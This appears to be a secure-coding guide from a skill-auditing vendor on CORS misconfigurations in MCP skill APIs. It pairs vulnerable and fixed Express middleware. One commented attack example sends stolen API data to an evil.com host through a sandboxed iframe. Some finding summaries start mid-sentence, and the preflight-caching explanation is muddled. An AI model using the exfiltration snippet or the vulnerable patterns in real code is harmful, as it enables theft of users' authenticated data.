Claude skill CORS misconfiguration security — SA-SKL-CORSM
CORS misconfiguration is one of the most exploited server-side vulnerabilities in web applications, and MCP skills that expose an HTTP API are equally at risk. The four SA-SKL-CORSM patterns cover the most common implementation gaps: reflecting any Origin without an allowlist (lets any website make credentialed API calls), permitting the null origin (lets sandboxed iframes and local pages do the same), pairing a wildcard ACAO with credentials (a spec violation with real-world client implications), and setting an excessively long pre-flight cache (delays policy corrections during an incident response).
CORS fundamentals for MCP skill developers
CORS exists because browsers enforce the same-origin policy (SOP): JavaScript on https://evil.com cannot read the response from https://skillaudit.dev/api/audits unless the server explicitly opts in by sending an Access-Control-Allow-Origin header. The opt-in works for reading responses; it does not affect the ability to send certain requests (simple requests like GET with no custom headers still reach the server). The danger in CORS misconfiguration is not that requests are sent — they are always sent — but that the response is readable by the attacker's JavaScript, allowing data exfiltration or state-changing requests that carry the victim's cookies.
SA-SKL-CORSM in scope: CORSM-001 (origin reflection without allowlist), CORSM-002 (wildcard ACAO with credentials), CORSM-003 (null origin allowed), CORSM-004 (Access-Control-Max-Age too long). Distinct from SA-SKL-CORS (basic missing CORS configuration) and SA-SKL-CORS3 (third-party service integration CORS patterns).
CORSM-001 — Origin reflection without allowlist
The most dangerous CORS misconfiguration is a server that copies the Origin request header value directly into the Access-Control-Allow-Origin response header. This is functionally equivalent to Access-Control-Allow-Origin: * but worse: unlike the wildcard, it can be paired with Access-Control-Allow-Credentials: true without triggering the browser's security check that blocks wildcard with credentials. Any website can send a credentialed request to the skill's API and read the full response — including authentication tokens, audit reports, and account data.
// VULNERABLE: origin reflection — any origin accepted as ACAO
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin) {
// VULNERABLE: reflects whatever origin the browser sends
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// Attack: https://evil.com sends request with Origin: https://evil.com
// Response contains: Access-Control-Allow-Origin: https://evil.com
// Access-Control-Allow-Credentials: true
// Browser allows evil.com script to read response with victim's cookies
// FIXED: explicit allowlist — only trusted origins receive ACAO
const ALLOWED_ORIGINS = new Set([
'https://skillaudit.dev',
'https://app.skillaudit.dev',
// Add specific partner origins here — not wildcards or dynamic patterns
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // Required when ACAO is dynamic
}
// Origins not in allowlist receive no ACAO header — browser blocks cross-origin read
next();
});
Origin request header into Access-Control-Allow-Origin without allowlist validation; combined with Access-Control-Allow-Credentials: true, any website can make credentialed cross-origin requests and read the full authenticated response. Fix: replace origin reflection with an explicit Set<string> allowlist; set Vary: Origin when ACAO is dynamic; never reflect user-supplied header values into response headers.CORSM-002 — Wildcard ACAO with credentials
The combination Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true is explicitly forbidden by the CORS specification and browsers will refuse to expose the response to JavaScript. However, three scenarios make this a real finding rather than a theoretical one: (1) some non-browser HTTP clients and older mobile SDKs don't enforce this check, (2) developers sometimes interpret the browser CORS error as a configuration problem and relax the policy further (adding origin reflection) to make the error go away, and (3) the combination still allows cross-origin requests to reach the server — meaning state-changing requests succeed even if the response isn't readable.
// VULNERABLE: wildcard ACAO with credentials — spec violation
app.use(cors({
origin: '*', // Wildcard
credentials: true, // ← Browsers block this combination
// But: (a) non-browser clients may not block it
// (b) developer may "fix" this by switching to origin reflection
}));
// FIXED: explicit allowlist origin; credentials only where needed
app.use(cors({
origin: (origin, callback) => {
const allowlist = ['https://skillaudit.dev', 'https://app.skillaudit.dev'];
if (!origin || allowlist.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true, // Safe when origin is validated against allowlist
optionsSuccessStatus: 200,
}));
Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true; this combination is a CORS spec violation — browsers block it but non-browser clients and some older SDKs do not; more critically, developers often "fix" the browser error by switching to origin reflection (CORSM-001), making the final state worse. Fix: use an explicit origin allowlist with credentials: true; never pair wildcard ACAO with credentials.CORSM-003 — Null origin allowed
The null origin is sent by browsers in several unusual contexts: pages loaded from the filesystem (file:// URLs), data: URLs, sandboxed iframes without the allow-same-origin attribute, and some redirected requests. Setting Access-Control-Allow-Origin: null allows credentialed requests from any of these contexts. An attacker can embed a sandboxed iframe on any page and use it to send credentialed requests to the skill's API: <iframe sandbox="allow-scripts" srcdoc="<script>fetch(...)</script>">. The null origin also makes it trivial to construct test payloads locally without a web server.
// VULNERABLE: null origin explicitly allowed
app.use((req, res, next) => {
const origin = req.headers.origin;
// Developer added 'null' to test locally from file:// — left in production
const allowlist = ['https://skillaudit.dev', 'null'];
if (allowlist.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// Attack: <iframe sandbox="allow-scripts" srcdoc="
// <script>
// fetch('https://skillaudit.dev/api/audits', { credentials: 'include' })
// .then(r => r.json())
// .then(data => fetch('https://evil.com/steal?d=' + JSON.stringify(data)))
// </script>
// "></iframe>
// FIXED: exclude null from any allowlist; never allow as ACAO value
const ALLOWED_ORIGINS = new Set([
'https://skillaudit.dev',
'https://app.skillaudit.dev',
// 'null' is NEVER valid here — remove it from test code before merge
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
// null origin is a string "null" — explicitly block it even if present
if (origin && origin !== 'null' && ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
}
next();
});
"null" in its origin allowlist or reflects Origin: null as Access-Control-Allow-Origin: null; the null origin is sent by sandboxed iframes, data: URLs, and file:// pages, allowing an attacker to construct a credentialed request to the skill API from any page they control using a sandboxed iframe. Fix: explicitly block the null origin string in allowlist logic; remove all null entries left over from local file:// testing.CORSM-004 — Pre-flight cache window too long
The Access-Control-Max-Age header controls how long browsers cache the result of a CORS pre-flight OPTIONS request. During the cache window, the browser sends the actual request without re-sending the pre-flight. A very long cache window — common values seen in community skills are 86400 (1 day) or 604800 (1 week) — means that when a security incident requires you to narrow the CORS origin allowlist (for example, to remove a compromised origin), browsers that have cached the pre-flight response will continue sending requests to the new restrictive policy as if the old permissive policy were still in effect. The recommended maximum is 7200 seconds (2 hours); Chrome enforces a maximum of 7200 seconds regardless of the header value.
// VULNERABLE: pre-flight cached for 24 hours
app.use(cors({
origin: ['https://skillaudit.dev'],
credentials: true,
maxAge: 86400, // 24 hours — policy changes take 24h to propagate
// If you need to narrow the allowlist after an incident,
// affected users continue seeing the old permissive behavior for 24h
}));
// FIXED: 2-hour pre-flight cache (Chrome maximum)
app.use(cors({
origin: (origin, callback) => {
const allowlist = ['https://skillaudit.dev', 'https://app.skillaudit.dev'];
callback(null, !origin || allowlist.includes(origin));
},
credentials: true,
maxAge: 7200, // 2 hours — Chrome's enforced maximum; reasonable balance
optionsSuccessStatus: 200,
}));
Access-Control-Max-Age to 86400 or greater seconds; during an incident requiring origin allowlist changes, affected browsers will cache and re-use the old pre-flight result for up to 24 hours, delaying the security fix's propagation. Fix: set maxAge to 7200 (2 hours) or less; note that Chrome enforces a maximum of 7200 regardless of the header value.SkillAudit detection summary — SA-SKL-CORSM
| Pattern ID | Severity | What SkillAudit flags | Fix |
|---|---|---|---|
| CORSM-001 | CRITICAL | CORS middleware that sets ACAO to req.headers.origin without an allowlist check; Access-Control-Allow-Credentials: true present | Explicit Set<string> allowlist; set Vary: Origin; never reflect user-supplied header |
| CORSM-002 | HIGH | Access-Control-Allow-Origin: * alongside Access-Control-Allow-Credentials: true in the same response | Replace wildcard with explicit origin allowlist; keep credentials only where needed |
| CORSM-003 | HIGH | CORS allowlist containing the string "null", or middleware that reflects Origin: null as ACAO: null | Explicitly exclude null from all origin comparisons; remove test-only entries from production config |
| CORSM-004 | MEDIUM | Access-Control-Max-Age value exceeding 7200 seconds | Set maxAge: 7200; Chrome enforces 7200 as the ceiling regardless |
Related patterns: For WebSocket upgrade CORS bypass and third-party service CORS integration gaps, see SA-SKL-CORS3. For HTTP cache poisoning via unvalidated X-Forwarded-Host in ACAO generation, see SA-SKL-CACHEPOISON. For CSRF protection that complements CORS as a defense layer, see SA-SKL-CSRF.